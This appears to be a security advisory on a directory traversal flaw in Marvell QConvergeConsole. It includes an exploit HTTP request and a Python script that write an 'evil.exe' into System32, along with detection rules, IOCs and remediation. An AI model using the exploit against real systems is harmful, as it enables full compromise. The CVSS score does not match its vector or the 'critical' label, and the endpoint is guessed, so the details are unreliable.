CVE-2025-6801

Executive Summary

CVE-2025-6801 is a critical directory traversal vulnerability in Marvell QConvergeConsole, specifically within the saveNICParamsToFile method. The flaw allows unauthenticated remote attackers to write arbitrary files to the filesystem with SYSTEM privileges, leading to full system compromise. With a CVSS score of 8.2 and no authentication required, this vulnerability poses a severe risk to affected systems. No public proof-of-concept (PoC) or patch is currently available, but the technical details from ZDI (ZDI-CAN-24921) confirm the attack vector.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Marvell enterprise management application.

CVSS Breakdown & Threat Level

• CVSS Score: 8.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical – Unauthenticated remote code execution via arbitrary file write to SYSTEM context.

Deep Dive & Mechanics

The vulnerability resides in the saveNICParamsToFile method of Marvell QConvergeConsole. The application fails to validate user-supplied paths before using them in file write operations. An attacker can supply a path with directory traversal sequences (e.g., ../../) to write files outside the intended directory. Because the service runs with SYSTEM privileges, the attacker can overwrite critical system files (e.g., executables, configuration files, or startup scripts) to achieve remote code execution.

Root Cause: Lack of proper input validation on the file path parameter in the saveNICParamsToFile method. The application does not sanitize or restrict the path to a safe base directory.

Attack Flow:

1. Attacker sends a crafted HTTP request to the QConvergeConsole service.
2. The request includes a path parameter containing directory traversal sequences.
3. The service writes attacker-controlled content to the specified path.
4. The attacker overwrites a system file (e.g., a Windows service binary or startup script).
5. Upon system restart or service trigger, the attacker's code executes with SYSTEM privileges.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

public void saveNICParamsToFile(String path, String data) {
    File file = new File(path);
    FileWriter writer = new FileWriter(file);
    writer.write(data);
    writer.close();
}

The path parameter is used directly without validation.

Patched Code (Conceptual):

public void saveNICParamsToFile(String path, String data) {
    // Ensure path is within allowed directory
    Path baseDir = Paths.get("C:/ProgramData/Marvell/QConvergeConsole/");
    Path resolvedPath = baseDir.resolve(path).normalize();
    if (!resolvedPath.startsWith(baseDir)) {
        throw new SecurityException("Invalid path");
    }
    File file = resolvedPath.toFile();
    FileWriter writer = new FileWriter(file);
    writer.write(data);
    writer.close();
}

The patched version normalizes the path and checks that it remains within the base directory.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target running Marvell QConvergeConsole with the vulnerable saveNICParamsToFile endpoint.
• Network access to the service (typically port 80/443 or a custom port).

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /api/saveNICParamsToFile).
2. Craft a POST request with a path parameter to write a malicious file:

   POST /api/saveNICParamsToFile HTTP/1.1
   Host: target:port
   Content-Type: application/x-www-form-urlencoded
   
   path=../../Windows/System32/evil.exe&data=[base64_encoded_exe]
   

3. Trigger execution of the written file (e.g., via scheduled task or service restart).
4. Gain SYSTEM shell.

Example Python Exploit:

import requests

target = "http://target:port"
payload = {
    "path": "../../Windows/System32/evil.exe",
    "data": "base64_encoded_malicious_binary"
}
requests.post(f"{target}/api/saveNICParamsToFile", data=payload)

Blue Team (Defender)

Detection:

• Monitor for unusual file writes to system directories (e.g., C:\Windows\System32, C:\ProgramData).
• Look for directory traversal patterns in HTTP requests (e.g., ../).
• Alert on processes spawning from unexpected locations.

Hunting:

• Search logs for saveNICParamsToFile endpoint usage.
• Check for files created in protected directories by the QConvergeConsole service account.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests containing saveNICParamsToFile with ../ sequences.
  • Outbound connections from the target to attacker C2 after exploitation.
• File System:
  • Unexpected files in C:\Windows\System32, C:\Windows\, or C:\ProgramData\ created by the QConvergeConsole process.
  • Modified system binaries or startup scripts.
• Process:
  • Unusual child processes spawned from QConvergeConsole.exe or related services.
  • Processes running from non-standard paths.

Detection Engineering

YARA Rule

rule CVE_2025_6801_Marvell_QConvergeConsole_Traversal {
    meta:
        description = "Detects directory traversal attempts in Marvell QConvergeConsole saveNICParamsToFile"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-6801"
    strings:
        $traversal = /\.\.\// nocase
        $method = "saveNICParamsToFile" nocase
    condition:
        $method and #traversal > 0
}

Sigma Rule

title: CVE-2025-6801 Marvell QConvergeConsole Directory Traversal
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects directory traversal attempts in Marvell QConvergeConsole saveNICParamsToFile
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains: "saveNICParamsToFile"
        cs-uri-query|contains: "../"
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other contexts (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-6801 Marvell QConvergeConsole Directory Traversal"; flow:to_server; content:"saveNICParamsToFile"; http_uri; content:"../"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from untrusted networks.
2. Disable the saveNICParamsToFile endpoint if possible (e.g., via web server configuration or firewall rules).
3. Monitor for exploitation attempts using the provided detection rules.

Long-Term Fix:

• Apply vendor patch when available (currently UNKNOWN/UNPATCHED).
• Implement input validation and path sanitization in the application.
• Run the QConvergeConsole service with least privilege (not SYSTEM).

Workaround:

• Use a reverse proxy to block requests containing ../ in the URI.
• Restrict file write permissions for the service account to only necessary directories.

Valters IT